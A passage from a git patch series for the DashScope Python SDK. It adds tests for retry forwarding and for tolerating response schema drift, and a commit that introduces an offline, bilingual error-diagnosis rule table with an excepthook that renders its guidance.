+ client = _client(cap) + with pytest.raises(DashScopeError): + client.embeddings.jobs.wait( + "t-1", + max_retries=0, + _sleep=lambda seconds: None, + ) + assert cap.calls == 2 + + +def test_fine_tunes_wait_forwards_max_retries_to_every_poll(no_sleep): + script = [(200, _JOB_PENDING), (500, None), (200, _FINE_TUNE_BODY)] + + cap = _ScriptedCapture(script) + client = _client(cap, max_retries=0) + job = client.fine_tunes.wait("ft-1", max_retries=1, _sleep=lambda s: None) + assert job.status == "SUCCEEDED" + assert cap.calls == 3 + + cap = _ScriptedCapture(script) + client = _client(cap) + with pytest.raises(DashScopeError): + client.fine_tunes.wait("ft-1", max_retries=0, _sleep=lambda s: None) + assert cap.calls == 2 + + +def test_pagination_iterators_forward_max_retries_to_later_pages(no_sleep): + # ``bind_pagination`` builds the next-page call in a closure, so a + # dropped forward there only shows up on page two. + page_one = { + "request_id": "r", + "output": { + "page_no": 1, + "page_size": 1, + "total": 2, + "models": [{"model": "qwen-plus", "source": "dashscope"}], + }, + } + page_two = { + "request_id": "r", + "output": { + "page_no": 2, + "page_size": 1, + "total": 2, + "models": [{"model": "qwen-max", "source": "dashscope"}], + }, + } + script = [(200, page_one), (500, None), (200, page_two)] + + cap = _ScriptedCapture(script) + client = _client(cap, max_retries=0) + listed = client.models.list(page_size=1, max_retries=1) + # ``iter_pages`` is what crosses pages; ``__iter__`` stays on this one. + walked = [m.model for page in listed.iter_pages() for m in page] + assert walked == ["qwen-plus", "qwen-max"] + assert cap.calls == 3 + + cap = _ScriptedCapture(script) + client = _client(cap, max_retries=0) + with pytest.raises(DashScopeError): + list(client.models.list(page_size=1).iter_pages()) + assert cap.calls == 2 + + +# -------------------------------------------------------------------------- +# async twins: the same forwarding, on the paths that differ structurally +# -------------------------------------------------------------------------- + +_ASYNC_OPTION_CASES = [ + ("models.list", lambda c, **kw: c.models.list(**kw), _MODELS_BODY), + ( + "deployments.list", + lambda c, **kw: c.deployments.list(**kw), + _DEPLOYMENTS_LIST_BODY, + ), + ( + "fine_tunes.get", + lambda c, **kw: c.fine_tunes.get("ft-1", **kw), + _FINE_TUNE_BODY, + ), + ( + "chat.completions.create", + lambda c, **kw: c.chat.completions.create( + model="qwen-plus", + messages=[{"role": "user", "content": "hi"}], + **kw, + ), + _CHAT_BODY, + ), + ( + "multimodal.chat.create", + lambda c, **kw: c.multimodal.chat.create( + model="qwen-vl-max", + messages=[{"role": "user", "content": [{"text": "hi"}]}], + **kw, + ), + _MULTIMODAL_CHAT_BODY, + ), + ( + "audio.tts.http.synthesize", + lambda c, **kw: c.audio.tts.http.synthesize( + "你好", + model="qwen-audio-3.1-tts-flash", + voice="longanfengyue_v3.1", + **kw, + ), + _TTS_BODY, + ), +] + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + "call, body", + [case[1:] for case in _ASYNC_OPTION_CASES], + ids=[case[0] for case in _ASYNC_OPTION_CASES], +) +async def test_async_resources_forward_the_extras(call, body): + cap = _Capture(body) + client = _async_client(cap) + await call( + client, + extra_headers={"X-Experiment": "on"}, + extra_query={"beta": "true"}, + ) + assert cap.last.headers["x-experiment"] == "on" + assert cap.sent_query()["beta"] == "true" + await client.aclose() + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + "call, body", + [case[1:] for case in _ASYNC_OPTION_CASES], + ids=[case[0] for case in _ASYNC_OPTION_CASES], +) +async def test_async_max_retries_zero_stops_after_one_attempt( + call, + body, + no_sleep, +): + cap = _FlakyCapture(body) + client = _async_client(cap) + with pytest.raises(DashScopeError): + await call(client, max_retries=0) + assert cap.calls == 1 + await client.aclose() + + +@pytest.mark.asyncio +@pytest.mark.parametrize( + "call, body", + [case[1:] for case in _ASYNC_OPTION_CASES], + ids=[case[0] for case in _ASYNC_OPTION_CASES], +) +async def test_async_max_retries_override_retries_the_call( + call, + body, + no_sleep, +): + cap = _FlakyCapture(body) + client = _async_client(cap, max_retries=0) + await call(client, max_retries=2) + assert cap.calls == 2 + assert len(no_sleep) == 1 + await client.aclose() diff --git a/tests/test_response_drift.py b/tests/test_response_drift.py index 8ac940fe..f3522e00 100644 --- a/tests/test_response_drift.py +++ b/tests/test_response_drift.py @@ -718,3 +718,475 @@ def handler(request): ) assert degraded.succeeded assert degraded.submitted_at is None + + +# --------------------------------------------------------------------------- +# the whole resource layer, one drifted body each +# --------------------------------------------------------------------------- + + +def _resolve(obj, path): + """Read ``"deployments[0].capacity"`` off a parsed model.""" + current = obj + for part in path.replace("[", ".[").split("."): + if not part: + continue + if part.startswith("["): + current = current[int(part[1:-1])] + else: + current = getattr(current, part) + return current + + +# Every resource that parses a wire body gets one row: the field named by +# ``path`` arrives with the wrong type, so ``parse_model`` has to replace it +# with the model's declared default. A bare ``pydantic.ValidationError`` +# escaping here is the failure mode -- it is not a ``DashScopeError``, so no +# caller's ``except`` clause would catch it. +_RESOURCE_DRIFT_CASES = [ + ( + "deployments.get", + lambda client: client.deployments.get("dep-1"), + { + "request_id": "req-1", + "output": { + "deployed_model": "dep-1", + "model_name": "ft-model", + "status": "RUNNING", + "capacity": "lots", + }, + }, + "capacity", + None, + ), + ( + "deployments.list", + lambda client: client.deployments.list(), + { + "request_id": "req-2", + "output": { + "page_no": 1, + "page_size": 10, + "total": "many", + "deployments": [ + { + "deployed_model": "dep-1", + "model_name": "ft-model", + "status": "RUNNING", + }, + ], + }, + }, + "total_count", + 0, + ), + ( + "fine_tunes.get", + lambda client: client.fine_tunes.get("ft-1"), + { + "request_id": "req-1", + "output": {"job_id": "ft-1", "status": "RUNNING"}, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "fine_tunes.logs", + lambda client: client.fine_tunes.logs("ft-1"), + {"request_id": "req-logs", "output": {"logs": 123}}, + "content", + "", + ), + ( + "rl.jobs.fetch", + lambda client: client.rl.jobs.fetch("ft-1"), + { + "request_id": "req-3", + "output": {"job_id": "ft-1", "status": "RUNNING"}, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "rerank.create", + lambda client: client.rerank.create( + model="gte-rerank-v2", + query="q", + documents=["a", "b"], + ), + { + "request_id": "req-r", + "output": { + "results": [ + {"index": 1, "relevance_score": 0.9}, + {"index": 0, "relevance_score": 0.2}, + ], + }, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "tokenization.count", + lambda client: client.tokenization.count( + model="qwen-plus", + prompt="hello world", + ), + { + "request_id": "req-t", + "usage": {"input_tokens": 7}, + "output": {"token_ids": 5}, + }, + "token_ids", + None, + ), + ( + "tingwu.call", + lambda client: client.tingwu.call( + model="tingwu-turbo", + input={"source_language": "cn", "task": "summarization"}, + ), + { + "request_id": "req-1", + "output": {"TaskId": "t-1", "Result": {"summary": "ok"}}, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "apps.completions.create", + lambda client: client.apps.completions.create( + app_id="app-1", + prompt="hi", + ), + { + "request_id": "req-1", + "output": {"text": "Hello from app", "finish_reason": "stop"}, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "decision.create", + lambda client: client.decision.create( + model="decision-model-preview", + state="text", + questions={ + "escalate": {"type": "noul", "instructions": "?"}, + }, + ), + { + "model": "decision-model-preview", + "request_id": "r-1", + "answers": {"escalate": {"type": "noul", "noul": 0.99}}, + "latency_ms": "fast", + }, + "latency_ms", + None, + ), + ( + "audio.phrases.list", + lambda client: client.audio.phrases.list(), + { + "request_id": "r-1", + "output": { + "jobs": [{"job_id": "p-1", "status": "SUCCEEDED"}], + "total": "many", + }, + }, + "total_count", + 0, + ), + ( + "audio.vocabularies.create", + lambda client: client.audio.vocabularies.create( + target_model="paraformer-v2", + prefix="med", + vocabulary=[{"text": "x", "weight": 4}], + ), + { + "request_id": "req-v1", + "output": {"vocabulary_id": "vocab-1", "vocabulary": "hot"}, + }, + "vocabulary", + None, + ), + ( + "audio.tts.http.synthesize", + lambda client: client.audio.tts.http.synthesize( + "你好", + model="qwen-audio-3.1-tts-flash", + voice="longanfengyue_v3.1", + ), + { + "request_id": "req-body-1", + "output": { + "audio": { + "url": "https://cdn.test/a.wav", + "id": "audio-1", + "expires_at": 1720000000, + }, + }, + "message": 123, + }, + "message", + None, + ), +] + + +@pytest.mark.parametrize( + "call, body, path, expected", + [case[1:] for case in _RESOURCE_DRIFT_CASES], + ids=[case[0] for case in _RESOURCE_DRIFT_CASES], +) +def test_every_resource_degrades_a_drifted_field( + call, + body, + path, + expected, + caplog, +): + client = _make_client(lambda request: _json_response(body)) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + result = call(client) + assert _resolve(result, path) == expected + assert _drift_records(caplog), "degradation must be logged" + + +@pytest.mark.parametrize( + "call, body, path, expected", + [case[1:] for case in _RESOURCE_DRIFT_CASES], + ids=[case[0] for case in _RESOURCE_DRIFT_CASES], +) +def test_every_resource_raises_in_strict_mode(call, body, path, expected): + # The point of the flag: a contract test wants the drift surfaced, not + # papered over -- and it must surface as something catchable. + client = _make_client( + lambda request: _json_response(body), + strict_validation=True, + ) + with pytest.raises(APIResponseValidationError) as caught: + call(client) + assert caught.value.response is not None + assert caught.value.response.status_code == 200 + + +@pytest.mark.parametrize( + "call, body, path, expected", + [case[1:] for case in _RESOURCE_DRIFT_CASES], + ids=[case[0] for case in _RESOURCE_DRIFT_CASES], +) +def test_drift_still_degrades_under_raise_on_error_false( + call, + body, + path, + expected, + caplog, +): + # Compat mode is about *service* errors; a 200 body with a drifted field + # must degrade the same way either way. This is also the only test that + # notices a resource dropping ``client=`` when it calls ``request_api``, + # which would silently reset ``raise_on_error`` to its default. + client = _make_client( + lambda request: _json_response(body), + raise_on_error=False, + ) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + result = call(client) + assert not result.is_error + assert _resolve(result, path) == expected + assert _drift_records(caplog) + + +# --------------------------------------------------------------------------- +# streamed frames: a drift partway through must not end the iteration +# --------------------------------------------------------------------------- + + +def test_a_drifted_sse_frame_degrades_instead_of_breaking_the_stream(caplog): + # ``stream_events`` parses each frame after the earlier ones were already + # handed to the caller, so a bare ValidationError used to land + # mid-iteration with nothing the caller could have caught up front. + sse = ( + 'id: 1\ndata: {"status": "RUNNING"}\n\n' + # ``output`` is declared ``Union[Dict, str, None]``; a bare number + # matches none of the three. + "id: 2\ndata: 123\n\n" + 'id: 3\ndata: {"status": "SUCCEEDED"}\n\n' + ) + + def handler(request): + return httpx.Response( + 200, + content=sse, + headers={"content-type": "text/event-stream"}, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + events = list(client.fine_tunes.stream_events("ft-1")) + assert [event.output for event in events] == [ + {"status": "RUNNING"}, + None, + {"status": "SUCCEEDED"}, + ] + assert _drift_records(caplog) + + +def test_a_drifted_sse_frame_raises_in_strict_mode(): + sse = 'id: 1\ndata: {"status": "RUNNING"}\n\nid: 2\ndata: 123\n\n' + + def handler(request): + return httpx.Response( + 200, + content=sse, + headers={"content-type": "text/event-stream"}, + ) + + client = _make_client(handler, strict_validation=True) + events = client.fine_tunes.stream_events("ft-1") + assert next(events).output == {"status": "RUNNING"} + # The first frame was already consumed, so this is exactly the case where + # an uncatchable exception would have been worst. + with pytest.raises(APIResponseValidationError) as caught: + next(events) + # The frame's response is the stream itself, which is still open. + assert caught.value.response is not None + + +class _ScriptedSocket: + """Websocket stub replaying a queued inbox; the task id is echoed back.""" + + def __init__(self, inbox): + self.sent = [] + self._inbox = list(inbox) + self.closed = False + + def send(self, payload, opcode=1): + self.sent.append(payload) + + def recv(self): + if not self._inbox: + return None + raw = self._inbox.pop(0) + if isinstance(raw, str): + event = json.loads(raw) + header = event.get("header") if isinstance(event, dict) else None + if isinstance(header, dict) and header.get("task_id") == "t": + sent = json.loads(self.sent[0]) + header["task_id"] = sent["header"]["task_id"] + return json.dumps(event) + return raw + + def close(self): + self.closed = True + + def settimeout(self, seconds): + pass + + +def _ws_event(name, payload=None): + return json.dumps( + { + "header": {"event": name, "task_id": "t", "request_id": "r"}, + "payload": payload or {}, + }, + ) + + +def _recognition(client, inbox): + socket = _ScriptedSocket(inbox) + return client.audio.asr.recognize( + model="paraformer-realtime-v2", + connector=lambda url, headers: socket, + ) + + +def _ws_client(**kwargs): + # ``WsSession`` derives the websocket endpoint from the workspace, so the + # WS tests need one even though no HTTP request is ever made. + kwargs.setdefault("workspace", "ws-test") + return _make_client(lambda request: _json_response({}), **kwargs) + + +def test_a_drifted_websocket_frame_degrades(caplog): + # ``Recognition`` keeps the live config rather than a snapshot of the + # flag, so a session opened before ``strict_validation`` changed still + # reads the current setting at parse time. + client = _ws_client() + with _recognition( + client, + [ + _ws_event("task-started"), + _ws_event("result-generated", {"output": "oops"}), + _ws_event( + "result-generated", + {"output": {"sentence": {"text": "你好", "end_time": 9}}}, + ), + _ws_event("task-finished"), + ], + ) as recognition: + recognition.stop() + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + results = list(recognition.results()) + assert results[0].output == {} + assert results[1].get_sentence()["text"] == "你好" + assert _drift_records(caplog) + + +def test_a_drifted_websocket_frame_raises_in_strict_mode(): + client = _ws_client(strict_validation=True) + with _recognition( + client, + [ + _ws_event("task-started"), + _ws_event("result-generated", {"output": "oops"}), + _ws_event("task-finished"), + ], + ) as recognition: + recognition.stop() + with pytest.raises(APIResponseValidationError) as caught: + list(recognition.results()) + # Deliberate: a websocket frame has no httpx.Response to carry, and + # ``APIResponseValidationError.response=None`` is a supported shape. + assert caught.value.response is None + + +def test_a_non_dict_websocket_payload_does_not_crash_the_session(): + # ``events()`` timed the first package off + # ``payload["output"]["sentence"]`` and ``results()`` did + # ``dict(payload)`` -- a payload that drifted to a bare string raised + # AttributeError / ValueError before ``parse_model`` ever ran, and no + # ``except DashScopeError`` catches either. + client = _ws_client() + with _recognition( + client, + [ + _ws_event("task-started"), + json.dumps( + { + "header": { + "event": "result-generated", + "task_id": "t", + "request_id": "r", + }, + "payload": "oops", + }, + ), + _ws_event( + "result-generated", + {"output": {"sentence": {"text": "你好", "end_time": 9}}}, + ), + _ws_event("task-finished"), + ], + ) as recognition: + recognition.stop() + results = list(recognition.results()) + assert results[0].output == {} + assert results[1].get_sentence()["text"] == "你好" From 97abe6e32e5516c45a1313158f760c98f1ca7f81 Mon Sep 17 00:00:00 2001 From: "zhansheng.lzs" Date: Thu, 5 Nov 2026 10:41:31 +0800 Subject: [PATCH 13/26] feat(devkit): add offline self-diagnosis for failed calls MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a local, bilingual rule table that matches (status_code, code, message) to structured fix guidance, surfaced lazily on DashScopeError.diagnosis and the non-raising ResponseBase.diagnosis. No network, no model call; the devkit package is never imported on the success path. Review hardening: - advertise DASHSCOPE_WORKSPACE (the var _config.py actually reads), not the non-existent DASHSCOPE_WORKSPACE_ID - install_excepthook chains to the pre-existing sys.excepthook instead of jumping to sys.__excepthook__, so third-party hooks keep running - every ErrorCode resolves to guidance (adds gateway-timeout and arrears rules); a consistency test guards against registry drift - render as "诊断建议", not "智能诊断": this is a static Tier-0 table, not a model-backed diagnosis; the escalation hint stays in the devkit renderer, so the core error surface carries no CLI coupling --- dashscope/devkit/__init__.py | 29 ++ dashscope/devkit/diagnosis.py | 536 +++++++++++++++++++++++++++++++++ dashscope/errors.py | 19 ++ dashscope/types/common.py | 20 ++ tests/test_devkit_diagnosis.py | 227 ++++++++++++++ 5 files changed, 831 insertions(+) create mode 100644 dashscope/devkit/__init__.py create mode 100644 dashscope/devkit/diagnosis.py create mode 100644 tests/test_devkit_diagnosis.py diff --git a/dashscope/devkit/__init__.py b/dashscope/devkit/__init__.py new file mode 100644 index 00000000..90ceafdf --- /dev/null +++ b/dashscope/devkit/__init__.py @@ -0,0 +1,29 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Developer toolkit for the dashscope 2.0 SDK. + +Self-diagnosis: a local, bilingual rule table that turns a failed call +into structured fix guidance, surfaced on ``DashScopeError.diagnosis`` +and on the non-raising response envelope's ``.diagnosis``. It is a +static Tier-0 troubleshooting table, not a model-backed diagnosis. + +Nothing here is imported on the production success path: the +``.diagnosis`` properties import :mod:`dashscope.devkit.diagnosis` +lazily, so a successful call never loads the rule table. +""" + +from __future__ import annotations + +from dashscope.devkit.diagnosis import ( + Diagnosis, + diagnose, + install_excepthook, + render, +) + +__all__ = [ + "Diagnosis", + "diagnose", + "install_excepthook", + "render", +] diff --git a/dashscope/devkit/diagnosis.py b/dashscope/devkit/diagnosis.py new file mode 100644 index 00000000..c800b32a --- /dev/null +++ b/dashscope/devkit/diagnosis.py @@ -0,0 +1,536 @@ +# -*- coding: utf-8 -*- +# Copyright (c) Alibaba, Inc. and its affiliates. +"""Self-diagnostic errors for the dashscope 2.0 SDK: local rule table. + +A failed call gets a structured, human-friendly diagnosis matched +locally from ``(status_code, error code, message)``. No network, no +model invocation -- the DashScope error surface is finite and +enumerable, so a static rule table covers the high-frequency cases with +zero latency and zero privacy exposure. + +The diagnosis is advisory data, never printed by the SDK itself: it +rides on ``DashScopeError.diagnosis`` (and on the non-raising response +envelope's ``.diagnosis``), and the CLI or :func:`install_excepthook` +renders it to stderr. + +Rules are bilingual: ``DASHSCOPE_DIAGNOSIS_LANG=en`` selects English, +default is Chinese. Every rendered block ends with an escalation hint to +the built-in AI expert (``dashscope expert ""``). + +This module is part of :mod:`dashscope.devkit`. +""" + +from __future__ import annotations + +import os +import re +import sys +from dataclasses import dataclass, field +from typing import Optional, Tuple + +LANG_ENV = "DASHSCOPE_DIAGNOSIS_LANG" + + +@dataclass(frozen=True) +class Matcher: + """All non-empty dimensions must match (AND); empty means wildcard.""" + + status_codes: Tuple[int, ...] = () + code_keywords: Tuple[str, ...] = () + message_patterns: Tuple[str, ...] = () + + +@dataclass(frozen=True) +class Diagnosis: + """A matched diagnosis: title, (cause, fix) pairs, optional command.""" + + title: str + fixes: Tuple[Tuple[str, str], ...] + command: str = "" + + +@dataclass(frozen=True) +class Rule: + name: str + matchers: Tuple[Matcher, ...] + diagnosis_zh: Diagnosis = field(compare=False) + diagnosis_en: Diagnosis = field(compare=False) + + +RULES: Tuple[Rule, ...] = ( + Rule( + name="auth", + matchers=( + Matcher(status_codes=(401,)), + Matcher(code_keywords=("invalidapikey", "unauthorized")), + Matcher(message_patterns=(r"no api key provided",)), + ), + diagnosis_zh=Diagnosis( + title="鉴权失败:API Key 缺失或无效", + fixes=( + ( + "未配置 API Key,或环境变量未生效", + "设置环境变量 DASHSCOPE_API_KEY," + + "或在代码中 dashscope.Client(api_key='sk-...')", + ), + ( + "Key 拼写错误或已被吊销", + "到百炼控制台「API-KEY 管理」页重新生成并替换", + ), + ( + "Key 与目标 Workspace 不匹配", + "确认 Key 属于目标工作空间,或改用 " + + "DASHSCOPE_WORKSPACE / Client(workspace=...) 指定", + ), + ), + command="echo $DASHSCOPE_API_KEY # 确认环境变量已生效", + ), + diagnosis_en=Diagnosis( + title="Authentication failed: API key missing or invalid", + fixes=( + ( + "API key not configured, or the environment " + + "variable did not take effect", + "set DASHSCOPE_API_KEY, or pass " + + "dashscope.Client(api_key='sk-...')", + ), + ( + "Key misspelled or revoked", + "regenerate it on the DashScope console " + + "(API-KEY management) and replace it", + ), + ( + "Key does not belong to the target workspace", + "confirm the key's workspace, or set " + + "DASHSCOPE_WORKSPACE / Client(workspace=...)", + ), + ), + command="echo $DASHSCOPE_API_KEY # verify the env var is set", + ), + ), + Rule( + name="workspace", + matchers=( + Matcher(status_codes=(400,), message_patterns=(r"workspace",)), + Matcher(code_keywords=("workspace",)), + ), + diagnosis_zh=Diagnosis( + title="请求未匹配到有效的百炼工作空间(Workspace)", + fixes=( + ( + "地域(Region)不匹配:当前走默认北京地域," + "资源可能在新加坡等其他地域", + "构造客户端时指定 " + "dashscope.Client(region='ap-southeast-1')", + ), + ( + "多租户模式下缺少 Workspace 标识", + "设置环境变量 DASHSCOPE_WORKSPACE," + + "或在 Client(workspace=...) / 调用时传入", + ), + ), + command="echo $DASHSCOPE_WORKSPACE # 确认工作空间已配置", + ), + diagnosis_en=Diagnosis( + title="Request did not match a valid workspace", + fixes=( + ( + "Region mismatch: the request went to the default " + + "Beijing region while your resources live " + + "elsewhere (e.g. Singapore)", + "build the client with " + + "dashscope.Client(region='ap-southeast-1')", + ), + ( + "Missing workspace id in multi-tenant mode", + "set DASHSCOPE_WORKSPACE or pass " + + "Client(workspace=...) / the workspace argument", + ), + ), + command="echo $DASHSCOPE_WORKSPACE", + ), + ), + Rule( + name="throttling", + matchers=( + Matcher(status_codes=(429,)), + Matcher(code_keywords=("throttling", "ratelimit", "quota")), + ), + diagnosis_zh=Diagnosis( + title="触发限流或配额耗尽", + fixes=( + ( + "请求速率超过账号 QPS 上限", + "降低并发,并为客户端增加指数退避重试", + ), + ( + "账户额度(Quota)用尽", + "到百炼控制台检查额度与欠费状态", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Throttled or out of quota", + fixes=( + ( + "Request rate exceeded the account QPS limit", + "lower concurrency and retry with " + + "exponential backoff", + ), + ( + "Account quota exhausted", + "check quota and billing status on the " + + "DashScope console", + ), + ), + ), + ), + Rule( + name="model_not_found", + matchers=( + Matcher(code_keywords=("model.notexist", "invalidmodel")), + Matcher(message_patterns=(r"model.*not exist",)), + ), + diagnosis_zh=Diagnosis( + title="模型不存在或名称有误", + fixes=( + ( + "模型名拼写错误", + "对照百炼控制台「模型列表」核对拼写" + + "(注意版本后缀,如 qwen-max 与 qwen-max-latest)", + ), + ( + "模型在当前地域未上线", + "确认目标地域提供该模型,必要时切换 region", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Model does not exist or the name is wrong", + fixes=( + ( + "Model name misspelled", + "check the console model list (mind version " + + "suffixes, e.g. qwen-max vs qwen-max-latest)", + ), + ( + "Model not available in the current region", + "confirm the region offers this model; " + + "switch region if needed", + ), + ), + ), + ), + Rule( + name="model_unauthorized", + matchers=( + Matcher(status_codes=(403,)), + Matcher(code_keywords=("unauthorized", "accessdenied")), + Matcher(message_patterns=(r"not authorized", r"permission")), + ), + diagnosis_zh=Diagnosis( + title="无权限访问该模型或资源", + fixes=( + ( + "模型未在当前工作空间开通", + "到百炼控制台为目标 Workspace 开通该模型", + ), + ( + "子账号缺少授权", + "联系主账号在 RAM 中授予百炼调用权限", + ), + ), + ), + diagnosis_en=Diagnosis( + title="No permission for this model or resource", + fixes=( + ( + "Model not activated for the current workspace", + "activate it on the DashScope console for " + + "the target workspace", + ), + ( + "Sub-account lacks authorization", + "ask the primary account to grant DashScope " + + "access in RAM", + ), + ), + ), + ), + Rule( + name="content_moderation", + matchers=( + Matcher( + code_keywords=("datainspection", "contentmoderation"), + ), + Matcher( + message_patterns=( + r"inappropriate content", + r"data inspection", + ), + ), + ), + diagnosis_zh=Diagnosis( + title="输入或输出触发了内容安全审核", + fixes=( + ( + "prompt 或生成内容命中审核策略", + "检查输入文本;若属误判,缩小输入范围定位触发片段", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Input or output triggered content moderation", + fixes=( + ( + "prompt or generated content hit the " + + "moderation policy", + "review the input; if it looks like a false " + + "positive, bisect the input to locate the " + + "triggering fragment", + ), + ), + ), + ), + Rule( + name="invalid_parameter", + matchers=( + Matcher(status_codes=(400,)), + Matcher(code_keywords=("invalidparameter", "invalidinput")), + ), + diagnosis_zh=Diagnosis( + title="请求参数不合法", + fixes=( + ( + "参数取值越界或类型错误", + "对照 API 文档检查取值范围" + + "(如 temperature ∈ [0, 2)、top_p ∈ (0, 1])", + ), + ( + "输入结构不符合协议", + "检查 messages/prompt 结构;" + "多模态输入确认 URL 或本地路径可读", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Invalid request parameters", + fixes=( + ( + "Parameter value out of range or wrong type", + "check ranges in the API docs (e.g. " + + "temperature in [0, 2), top_p in (0, 1])", + ), + ( + "Input structure does not match the protocol", + "check the messages/prompt structure; for " + + "multimodal input confirm the URL or local " + + "path is readable", + ), + ), + ), + ), + Rule( + name="network", + matchers=( + Matcher(code_keywords=("gatewaytimeout",)), + Matcher( + message_patterns=( + r"timed? ?out", + r"connection", + r"max retries exceeded", + ), + ), + ), + diagnosis_zh=Diagnosis( + title="网络连通性问题", + fixes=( + ( + "到 dashscope.aliyuncs.com 的链路不通或被代理拦截", + "检查代理/防火墙;海外地域资源确认已用 " + "Client(region=...) 指定地域", + ), + ( + "服务端响应过慢导致读取超时", + "减小 max_tokens 或改用 stream=True 流式读取", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Network connectivity problem", + fixes=( + ( + "Link to dashscope.aliyuncs.com is blocked or " + + "proxied", + "check proxy/firewall; for overseas regions " + + "build the client with Client(region=...)", + ), + ( + "Server too slow; read timed out", + "lower max_tokens or switch to stream=True", + ), + ), + ), + ), + Rule( + name="internal_error", + matchers=( + Matcher(status_codes=(500, 502, 503)), + Matcher(code_keywords=("internalerror", "serviceunavailable")), + ), + diagnosis_zh=Diagnosis( + title="服务端内部错误", + fixes=( + ( + "平台侧临时故障", + "指数退避重试;持续失败则到阿里云控制台查看" + "服务健康状态或提工单", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Server-side internal error", + fixes=( + ( + "Transient platform fault", + "retry with exponential backoff; if it " + + "persists, check service health on the " + + "Alibaba Cloud console or file a ticket", + ), + ), + ), + ), + Rule( + name="arrears", + matchers=(Matcher(code_keywords=("arrearage",)),), + diagnosis_zh=Diagnosis( + title="账户欠费,调用已被停用", + fixes=( + ( + "账户余额不足或已欠费", + "到阿里云 / 百炼控制台充值," + "确认账号状态恢复正常后重试", + ), + ), + ), + diagnosis_en=Diagnosis( + title="Account in arrears; calls suspended", + fixes=( + ( + "Insufficient balance or overdue account", + "top up on the Alibaba Cloud / DashScope console " + + "and confirm the account is in good standing", + ), + ), + ), + ), +) + + +def _lang() -> str: + return ( + "en" if os.environ.get(LANG_ENV, "").lower().startswith("en") else "zh" + ) + + +def _match_one( + matcher: Matcher, + status_code: Optional[int], + code_lower: str, + message: str, +) -> bool: + if not ( + matcher.status_codes + or matcher.code_keywords + or matcher.message_patterns + ): + return False + if matcher.status_codes and status_code not in matcher.status_codes: + return False + if matcher.code_keywords and not any( + kw in code_lower for kw in matcher.code_keywords + ): + return False + return not matcher.message_patterns or any( + re.search(p, message, re.IGNORECASE) for p in matcher.message_patterns + ) + + +def diagnose( + status_code: Optional[int] = None, + code: Optional[str] = None, + message: Optional[str] = None, +) -> Optional[Diagnosis]: + """Match a failure against the local rule table. + + First matching rule wins; rules are ordered most-specific first. + The returned Diagnosis is in the language selected by + ``DASHSCOPE_DIAGNOSIS_LANG`` (default zh). + """ + code_lower = (code or "").lower() + msg = str(message or "") + for rule in RULES: + if any( + _match_one(m, status_code, code_lower, msg) for m in rule.matchers + ): + if _lang() == "en": + return rule.diagnosis_en + return rule.diagnosis_zh + return None + + +_WIDTH = 80 + +_EXPERT_HINT = { + "zh": "🤖 仍未解决?运行 dashscope 进入交互提问," '或一次性提问:dashscope expert "<贴入错误信息>"', + "en": "🤖 Still stuck? Run dashscope for interactive Q&A, " + 'or ask once: dashscope expert ""', +} + + +def render(diagnosis: Diagnosis, lang: Optional[str] = None) -> str: + """Render a diagnosis as a terminal block. + + Ends with an escalation hint to the built-in AI expert. + """ + lang = lang or _lang() + if lang == "zh": + title_line = f"💡 [DashScope 诊断建议] {diagnosis.title}" + causes_line = "🔍 可能的原因与修复方法:" + else: + title_line = f"💡 [DashScope Diagnosis] {diagnosis.title}" + causes_line = "🔍 Possible causes and fixes:" + lines = ["=" * _WIDTH, title_line, "", causes_line] + for i, (cause, fix) in enumerate(diagnosis.fixes, 1): + lines.append(f" {i}. {cause}") + lines.append(f" 👉 {fix}") + if diagnosis.command: + label = "🛠️ 快捷命令:" if lang == "zh" else "🛠️ Quick check: " + lines += ["", f"{label}{diagnosis.command}"] + lines += ["", _EXPERT_HINT[lang]] + lines.append("=" * _WIDTH) + return "\n".join(lines) + + +_installed = False + + +def install_excepthook() -> None: + """Append the diagnosis block to uncaught tracebacks (stderr only). + + The normal traceback still prints first; the diagnosis is advisory + output appended after it. Idempotent. + + Chains to whatever ``sys.excepthook`` was installed before this call + (not ``sys.__excepthook__``), so a third-party hook already in place + -- pytest, IPython, an APM agent -- keeps running instead of being + silently dropped. + """ + global _installed + if _installed: + return + _installed = True + + previous = sys.excepthook + + def _hook(exc_type, exc, tb): + previous(exc_type, exc, tb) + diag = getattr(exc, "diagnosis", None) + if diag is not None: + print(render(diag), file=sys.stderr) + + sys.excepthook = _hook diff --git a/dashscope/errors.py b/dashscope/errors.py index 0d7909ff..e0d48a82 100644 --- a/dashscope/errors.py +++ b/dashscope/errors.py @@ -104,6 +104,25 @@ def __str__(self) -> str: parts.append(f"request_id={self.request_id}") return " | ".join(parts) + @property + def diagnosis(self): + """Structured local fix guidance, or ``None`` if no rule matched. + + Matched offline from ``(status_code, code, message)`` by the devkit + rule table -- no network, no model call. Advisory data only: the + SDK never prints it. The CLI renders it, and + ``dashscope.devkit.install_excepthook()`` appends it to uncaught + tracebacks. Imported lazily so the error path stays dependency-free + and the devkit package is never loaded on the success path. + """ + from dashscope.devkit.diagnosis import diagnose + + return diagnose( + status_code=self.status_code, + code=self.code, + message=self.message, + ) + _SDK_ERRORS: Dict[str, SdkErrorDef] = { entry.name: entry for entry in _registry.SDK_ERRORS diff --git a/dashscope/types/common.py b/dashscope/types/common.py index 5a5e220c..bfeb9957 100644 --- a/dashscope/types/common.py +++ b/dashscope/types/common.py @@ -62,6 +62,26 @@ def _flag_business_error(self) -> "ResponseBase": self.is_error = True return self + @property + def diagnosis(self): + """Structured local fix guidance for a non-raising error envelope. + + The ``raise_on_error=False`` counterpart of 